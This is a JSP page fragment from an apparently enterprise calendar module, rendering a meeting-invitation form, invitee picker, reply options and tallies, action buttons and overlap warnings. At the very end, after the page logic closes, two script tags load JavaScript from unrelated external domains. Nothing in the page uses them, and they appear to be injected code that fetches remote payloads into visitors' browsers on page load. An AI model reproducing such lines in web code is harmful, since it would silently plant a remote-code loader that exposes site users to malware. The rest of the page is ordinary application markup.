                    <%if ( showInvite != true  ) { %>
                      showBlock("divInviteHide");
                    <%} else {  %>
                      hideBlock("divInviteHide");
                    <%}%>

                  </script>
                </span>
              </td>
            </tr>
            <tr><td colspan="2"><div class="sectionLine">&nbsp;</div></td></tr>
            </table>
          </td>
        </tr>
        <tr>
          <td>
            <DIV id="invite">
            <table width="780" border="0" cellspacing="2" cellpadding="0">
        <!-- 
        <tr>
        <td class="formLabelSmall" width="21%">
				<bean:message key='alert.message.subject'/>:&nbsp;</td>
        
        <td class="formFieldSmall" width="79%">
		        <html:text property="alertSubject" size='60' maxlength='120' onchange="changeAlertSubject();"/>
		</td>		 
		</tr>
		-->		
		        <html:hidden property="alertSubject" />
<script language="javascript" type="text/javascript">
<%if(GlobalConstant.NAV_MODE_EDIT.equals(navMode) && Utility.isEmpty(maintCalendarForm.getAlertSubject())){%>
var titleValue=document.maintCalendarForm.title.value;
if(trim(titleValue)!=""){
  document.maintCalendarForm.alertSubject.value="<bean:message key='home.message.meeting_invitation_subject'/>" + " "+"\""+titleValue+"\"";
}
<%}%>
</script>
		<tr>
        <td class="formLabelSmall" width="21%">
				<bean:message key='dms.label.notification_type'/>:&nbsp;</td>
        <td class="formFieldSmall" width="79%">
				&nbsp;&nbsp;
        <%if(supportEmail){%>
          <bean:message key='dms.label.notification_email'/> <html:checkbox property="notifyWay" value="<%=UpdateAlert.EMAIL_NOTIFICATION%>" />
        <%}%>
				&nbsp;
          <bean:message key='dms.label.notification_system'/> <html:checkbox property="notifyWay" value="<%=UpdateAlert.SYSTEM_NOTIFICATION%>" />
        </td>
        </tr>
            <tr>
              <td class="formLabelSmall" width="21%" nowrap valign="top"><bean:message key='calendar.label.attendee_type'/>:&nbsp;</td>
              <td class="formFieldSmall" width="79%">
          <table>
          <!--
            <tr>
            <td class="bodySmallBold">&nbsp;<bean:message key='dms.label.notification_recipient_user'/></td>
            <td class="bodySmallBold">&nbsp;<bean:message key='dms.label.notification_recipient_group'/></td>
            <td class="bodySmallBold">&nbsp;<bean:message key='dms.label.notification_recipient_role'/></td>
            </tr>
          -->
            <tr>
            <td colspan="3">
              <html:inviteePicker name="invitee" propertyUser="userRecords" propertyGroup="userGroups" propertyRole="userRoles" valueUser='<%=maintCalendarForm.getUserList()%>' valueGroup='<%=maintCalendarForm.getGroupList()%>' valueRole='<%=maintCalendarForm.getRoleList()%>' suggestWidth='300' textWidth='100' width="500" height="70" onBlur="missFocus(this)"  />
            </td>
            </tr>
          </table>
              </td>
            </tr>
            </table>
<script language="Javascript">
<%
//if the tmprecipientAry is empty then hidden invite table
if( showInvite == true ) {
%>
showBlock("invite");
<%}else{  %>
hideBlock("invite");
<%}%>
/*
if(document.maintCalendarForm.userRecords.length > 0 ){
  for(var i = 0 ;i < document.maintCalendarForm.userRecords.length ; i ++){
    if (document.maintCalendarForm.userRecords[i].value == <%=sessionContainer.getUserRecordID().toString()%>){
      document.maintCalendarForm.userRecords[i].checked=false;
      document.maintCalendarForm.userRecords[i].disabled = true;
    }
  }
}
*/
function checkPopupSearchInvite(idArr){
  var userObj = document.maintCalendarForm.userRecords;
  var groupObj = document.maintCalendarForm.userGroups;
  var roleObj = document.maintCalendarForm.userRoles;

  var hasInvite;

  if(userObj&&userObj.length){
    for(var i = 0 ;i <userObj.length ; i++){
      var arrCont = idArr[0]+"";
      var compStr ="|"+userObj[i].value+"|";
      if(arrCont.indexOf(compStr) != -1){
        userObj[i].checked = true;
        hasInvite = true;
      }else{
        userObj[i].checked = false;
      }
    }
  }else  if(userObj){
    var arrCont = idArr[0]+"";
    var compStr ="|"+userObj.value+"|";
    if(userObj[i].value!="<%=sessionContainer.getUserRecordID().toString()%>"&&arrCont.indexOf(compStr) != -1){
      userObj.checked = true;
      hasInvite = true;
    }else{
      userObj.checked = false;
    }
  }

  if(groupObj&&groupObj.length){
    for(var i = 0 ;i <groupObj.length ; i++){
      var arrCont = idArr[1]+"";
      var compStr ="|"+groupObj[i].value+"|";
      if(arrCont.indexOf(compStr) != -1){
        groupObj[i].checked = true;
        hasInvite = true;
      }else{
        groupObj[i].checked = false;
      }
    }
  }else if(groupObj){
    var arrCont = idArr[1]+"";
    var compStr ="|"+groupObj.value+"|";
    if(arrCont.indexOf(compStr) != -1){
      groupObj.checked = true;
      hasInvite = true;
    }else{
      groupObj.checked = false;
    }
  }
  if(roleObj&&roleObj.length){
    for(var i = 0 ;i <roleObj.length ; i++){
      var arrCont = idArr[2]+"";
      var compStr ="|"+roleObj[i].value+"|";
      if(arrCont.indexOf(compStr) != -1){
        roleObj[i].checked = true;
        hasInvite = true;
      }else{
        roleObj[i].checked = false;
      }
    }
  }else if(roleObj){
    var arrCont = idArr[2]+"";
    var compStr ="|"+roleObj.value+"|";
    if(arrCont.indexOf(compStr) != -1){
      roleObj.checked = true;
      hasInvite = true;
    }else{
      roleObj.checked = false;
    }
  }
  if(hasInvite){
    showBlock("invite");
  }
}
</script>
            </div>
<%} %>
          </td>
        </tr>


<!--end of invitation-->
<!--start of replay-->
<%
  String updateAlertID = maintCalendarForm.getUpdateAlertID();
  String replyType = (String) request.getSession().getAttribute("replyType");
  String disable = "";
  if  (GlobalConstant.NAV_MODE_VIEW.equals(navMode) && "True".equals(opReply) && !Utility.isEmpty(maintCalendarForm.getNotifyWay()) )  {
    if (!(sessionContainer.getUserRecordID().toString().equals(maintCalendarForm.getCreatorID())) ) {
      disable = "";
      UpdateAlertSystemLogDAObject systemLogDAO = new UpdateAlertSystemLogDAObject(sessionContainer, conn);
      UpdateAlertSystemLog systemLog = (UpdateAlertSystemLog) systemLogDAO.getSystemLogByUpdateAlertIDUserIDActionReply(new Integer(updateAlertID), UpdateAlert.INVITE_ACTION,sessionContainer.getUserRecordID());
      if (systemLog!=null)
        disable = "disabled";
      if (!(GlobalConstant.STATUS_ACTIVE.equals(recordStatus)))
        disable = "disabled";

   	  if ("True".equals(opReply)){
        disable = "";
      }
%>
    <tr>
      <td>
        <table width="100%" border="0" cellspacing="2" cellpadding="0">
          <tr>
            <td class="formLabelSmallMan" width="21%" nowrap valign="top"><bean:message key='calendar.label.reply_type'/>:&nbsp;</td>
            <td class="formFieldSmall" width="79%">
              <table width="400" border="0" cellspacing="2" cellpadding="0">
              <tr>
                <td class="formFieldSmall" width="133" valign="top">
                  <input type="radio" id="replyType" name="replyType" value="A"<%= "A".equals(replyType) || Utility.isEmpty(replyType) ? " checked" : "" %> <%=disable%>>
                  <bean:message key='calendar.label.reply_accept'/></td>

                <td class="formFieldSmall" width="133" valign="top">
                  <input type="radio" id="replyType"  name="replyType" value="T"<%= "T".equals(replyType) ? " checked" : "" %> <%=disable%>>
                  <bean:message key='calendar.label.reply_tentative'/></td>
                <td class="formFieldSmall" width="134" valign="top">
                  <input type="radio" id="replyType"  name="replyType" value="R"<%= "R".equals(replyType) ? " checked" : "" %> <%=disable%>>
                  <bean:message key='calendar.label.reply_reject'/></td>
              </tr>
              </table>
            </td>
          </tr>
          </table>
        </td>
      </tr>
<%
  }
}  
if ((GlobalConstant.NAV_MODE_VIEW.equals(navMode))  && !Utility.isEmpty(maintCalendarForm.getNotifyWay()) )   {
    int ttlReplyOnAccept = 0;
    int ttlReplyOnTentative =  0;
    int ttlReplyOnReject = 0;
    String[] replyOnAccept = null;
    String[] replyOnTentative = null;
    String[] replyOnReject = null;
    String[] tmpReplyAry =null;

    Integer sysOid = sessionContainer.getUserRecordID();
    List replyOnAcceptAry = (List) request.getSession().getAttribute("replyOnAcceptAry");
    if (replyOnAcceptAry!=null) {

      ttlReplyOnAccept = replyOnAcceptAry.size();
      replyOnAccept = new String[replyOnAcceptAry.size()];
      for (int j=0; j<replyOnAcceptAry.size(); j++) {
        UpdateAlertSystemLog tmpUpdateAlertSystemLog = (UpdateAlertSystemLog)replyOnAcceptAry.get(j);
        replyOnAccept[j] = tmpUpdateAlertSystemLog.getActionUserID().toString();
      }
    }

    List replyOnTentativeAry = (List) request.getSession().getAttribute("replyOnTentativeAry");
    if (replyOnTentativeAry!=null) {
      ttlReplyOnTentative = replyOnTentativeAry.size();
      replyOnTentative = new String[replyOnTentativeAry.size()];
      for (int j=0; j<replyOnTentativeAry.size(); j++) {
        UpdateAlertSystemLog tmpUpdateAlertSystemLog = (UpdateAlertSystemLog)replyOnTentativeAry.get(j);
        replyOnTentative[j] = tmpUpdateAlertSystemLog.getActionUserID().toString();
      }
    }

    List replyOnRejectAry = (List) request.getSession().getAttribute("replyOnRejectAry");
    if (replyOnRejectAry!=null) {
      ttlReplyOnReject = replyOnRejectAry.size();
      replyOnReject = new String[replyOnRejectAry.size()];
      for (int j=0; j<replyOnRejectAry.size(); j++) {
        UpdateAlertSystemLog tmpUpdateAlertSystemLog = (UpdateAlertSystemLog)replyOnRejectAry.get(j);
        replyOnReject[j] = tmpUpdateAlertSystemLog.getActionUserID().toString();
      }
    }
      %>


      <tr>
        <td>
          <table width="100%" border="0" cellspacing="2" cellpadding="0">
            <tr>
              <td class="formLabelSmall" width="21%" nowrap valign="top"><bean:message key='calendar.label.reply_result'/>:&nbsp;</td>
              <td class="formFieldSmall" width="79%">
                <table width="400" border="0" cellspacing="2" cellpadding="0">
                <tr>
                  <td class="formFieldSmall" width="133" valign="top"> &nbsp;&nbsp;<bean:message key='calendar.label.reply_accept'/><html:img src='IconAccept.gif' />
                    <%=ttlReplyOnAccept%></td>
                  <td class="formFieldSmall" width="133" valign="top"> &nbsp;&nbsp;<bean:message key='calendar.label.reply_tentative'/><html:img src='IconTentative.gif' />
                    <%=ttlReplyOnTentative%> </td>
                  <td class="formFieldSmall" width="134" valign="top"> &nbsp;&nbsp;<bean:message key='calendar.label.reply_reject'/><html:img src='IconReject.gif' />
                    <%=ttlReplyOnReject%>&nbsp; </td>
                </tr>
                <tr>
                  <td class="formFieldSmall"> <br>
                    &nbsp;
                    <%
                      String[] userIDsAry = replyOnAccept;
                      if(userIDsAry!=null && userIDsAry.length>0 && ttlReplyOnAccept>0){
                        for(int i=0;i<userIDsAry.length;i++){
													if(sysOid.toString().equals(userIDsAry[i]) && !sysOid.toString().equals(maintCalendarForm.getCreatorID())){
														out.println("<SCRIPT LANGUAGE='JavaScript'>");
														out.println("var promptA = document.getElementById('promptA');");
														out.println("promptA.style.visibility='visible';");
														out.println("</SCRIPT>");
													}
                          UserRecord userRecord= (UserRecord)userRecordDAO.getObjectByID(TextUtility.parseIntegerObj(userIDsAry[i]));
              if(userRecord!=null){
                    %>
                          <%=userRecord.getFullName()==null ? "" : userRecord.getFullName()%><input type="hidden" name="replyOnAccept" value="<%=userIDsAry[i]%>"><br>&nbsp;

                    <%
              }
            }

                      }
                    %>
                  </td>
                  <td class="formFieldSmall"> <br>
                    &nbsp;&nbsp;
                    <%
                      userIDsAry = replyOnTentative;
                      if(userIDsAry!=null && userIDsAry.length>0 && ttlReplyOnTentative>0){
                        for(int i=0;i<userIDsAry.length;i++){
                          if(sysOid.toString().equals(userIDsAry[i]) && !sysOid.toString().equals(maintCalendarForm.getCreatorID())){
														out.println("<SCRIPT LANGUAGE='JavaScript'>");
														out.println("var promptT = document.getElementById('promptT');");
														out.println("promptT.style.visibility='visible';");
														out.println("</SCRIPT>");
                          }
                          UserRecord userRecord= (UserRecord)userRecordDAO.getObjectByID(TextUtility.parseIntegerObj(userIDsAry[i]));
              if (userRecord != null){
                    %>
                          <%=userRecord.getFullName()==null ? "" : userRecord.getFullName()%><input type="hidden" name="replyOnTentative" value="<%=userIDsAry[i]%>"><br>&nbsp;

          <%
              }
            }

                      }
          %>
                  </td>
                  <td class="formFieldSmall"> <br>
                    &nbsp;&nbsp;
          <%

            userIDsAry = replyOnReject;
            if(userIDsAry!=null && userIDsAry.length>0 && ttlReplyOnReject>0){
              for(int i=0;i<userIDsAry.length;i++){
                if(sysOid.toString().equals(userIDsAry[i]) && !sysOid.toString().equals(maintCalendarForm.getCreatorID())){
									out.println("<SCRIPT LANGUAGE='JavaScript'>");
									out.println("var promptR = document.getElementById('promptR');");
									out.println("promptR.style.visibility='visible';");
									out.println("</SCRIPT>");
								}
                UserRecord userRecord= (UserRecord)userRecordDAO.getObjectByID(TextUtility.parseIntegerObj(userIDsAry[i]));
        if(userRecord != null){
          %>
                <%=userRecord.getFullName()==null ? "" : userRecord.getFullName()%><input type="hidden" name="replyOnReject" value="<%=userIDsAry[i]%>"><br>&nbsp;

          <%    }
              }
            }
          %>
                  <td>
                </tr>
                <tr>
                  <td class="formFieldSmall">&nbsp;</td>
                  <td class="formFieldSmall">&nbsp;</td>
                  <td class="formFieldSmall">
                  <td>
                </tr>
                </table>
              </td>
            </tr>
            </table>
          </td>
        </tr>





        <tr>
          <td>
            <table width="780" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td><html:img src="LayoutSpacer.gif" width="1" height="5" /></td>
            </tr>
            <tr>
              <td align="center"><html:img src="LayoutSpacer.gif" width="1" height="5"  border='0'/></td>
            </tr>

            <%
            if (GlobalConstant.STATUS_ACTIVE.equals(recordStatus)) {
                 if  ("True".equals(opReply))  {
                   if (!(maintCalendarForm.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString()) )) {   %>
                    <tr>
                      <td align="center">
                      <%if ("".equals(disable)) {%>                      
                      <html:standardButton label="common.label.save" onClick="return custOpSaveReply()"/>
                      <%}%>
                      </td>
                    </tr>
<%                 }
                 }
               }  %>

            </table>
          </td>
        </tr>
      <%}
       if (sharedEvent&&!(maintCalendarForm.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString()) )){%>
        <tr>
          <td align="center">           
           <html:standardButton label="common.label.save" onClick="return shareToOther()"/>
          </td>
        </tr>
        <%}%>
        <tr>
          <td><html:img src="LayoutSpacer.gif" width="1" height="5" /></td>
        </tr>

<!--END DATELIST -->
        <tr>
          <td align="center">
            <table width="780" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td align="center"><html:img src='LayoutSpacer.gif'  width='1' height='5' border='0'/></td>
            </tr>
            <tr>
              <td align="center">
                <%
                if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)&&!GlobalConstant.OP_MODE_DELETE.equals(opMode)){%>
                    <%
                         if ( (maintCalendarForm.getCreatorID().toString().equals(sessionContainer.getUserRecordID().toString()))  ){   %>
                           <%if(! CalendarRecord.OBJECT_TYPE_WORKFLOW.equals(maintCalendarForm.getObjectType()) ){%>
                           <% String onClickEditURL = "document.location='MaintCalendar.do?navMode=E&ID=${maintCalendarForm.ID}&listName="+listName+"&oldNavMode="+oldNavMode+"&isHome="+isHome+"&selectedDay="+selectedDay+"&selectedMonth="+selectedMonth+"&selectedYear="+selectedYear+"'"; %>                             
                           <html:permissionButton right='E' label="common.label.edit" onClick="<%=onClickEditURL%>" />                             
                           <%}%>
                           <% String onClickDeleteURL = "return OpCustDelete(document.maintCalendarForm,'${maintCalendarForm.ID}|${maintCalendarForm.eventType}')"; %>                             
                           <html:permissionButton right='D' label="common.label.delete" onClick="<%=onClickDeleteURL%>" />                             
						   <%if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)) {%>
						   <!--
                           <html:standardButton label="common.label.export" onClick="return OpExport()"/>   													
                           -->
                           <%}%>
                    <%}%>

                <%}else if (!GlobalConstant.OP_MODE_DELETE.equals(opMode)) {  %>
                    <html:standardButton label="common.label.save" onClick="return custOpSave(document.maintCalendarForm)"/>
                    <html:standardButton label="common.label.more" onClick="return custOpSaveAndNew(document.maintCalendarForm)"/>                    
                <%}%>
              </td>
            </tr>
            </table>

<!--
    </td>
  </tr>
</table>
-->


<script language="Javascript">
  var havsubmeeting = <%=haveSubMeeting%>
  if(havsubmeeting){
    disableTimer(true);    
  }  
<%  if ("true".equals(request.getSession().getAttribute("overlap"))){   %>
  cusSaveValidate(maintCalendarForm);
<%  } else if ("false".equals(request.getSession().getAttribute("overlap"))){ %>
  OpSave(maintCalendarForm);
<%  }%>

<%if (!Utility.isEmpty(overlapList)){%>
var overlapStr = '<bean:message key='calendar.label.event.warning_string'/>\n\n';
<%
  for(int i = 0; i <  overlapList.size() ; i++){
    CalendarRecord calendarRecord = (CalendarRecord)overlapList.get(i);
    String startDatetime=TextUtility.formatDate((Utility.timestampToCalendar(calendarRecord.getDatetime())).getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT));
    String endDatetime=TextUtility.formatDate((Utility.timestampToCalendar(calendarRecord.getEndtime())).getTime(),SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATETIME_FORMAT));
%>
    overlapStr += '<%=TextUtility.escapeJSString(calendarRecord.getTitle())%>:<%=startDatetime%> To <%=endDatetime%>';
<%
    if (!Utility.isEmpty(calendarRecord.getIsRecurrence()) && calendarRecord.getIsRecurrence().equals("Y")){
%>
    overlapStr += ' [Recurring Event]';
<%
	}
%>
    overlapStr += '\n';
<%}%>
    overlapStr += '\n<bean:message key='calendar.label.confirm_String'/>\n';
    
if(confirm(overlapStr)){
  if("<%=opReply%>"=="True"){
    document.maintCalendarForm.Overlap.value = 'no';
    if (document.getElementById("replyType")!=null){
      document.getElementById("replyType").checked = 'checked';
    }
    custOpSaveReply(document.maintCalendarForm);
  } else {
    document.maintCalendarForm.Overlap.value = 'no';
    if (document.getElementById("replyType")!=null){
      document.getElementById("replyType").checked = 'checked';
    }
    custOpSave(document.maintCalendarForm);
  }
}else{
  if("<%=opReply%>"=="True"){
    history.back();
  } else {
  	document.maintCalendarForm.Overlap.value = 'yes';
  }
}
<%}%>
</script>
</html:form>


<%} catch (Exception e) {
    out.println("Error="+e);
    LogFactory.getLog(this.getClass()).error(e, e);
  } finally {
    session.removeAttribute("startDate");
    session.removeAttribute("userGroups");
    session.removeAttribute("userRoles");
    session.removeAttribute("userRecords");
    session.removeAttribute("overlap");
    session.removeAttribute("reminderType");
  }
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>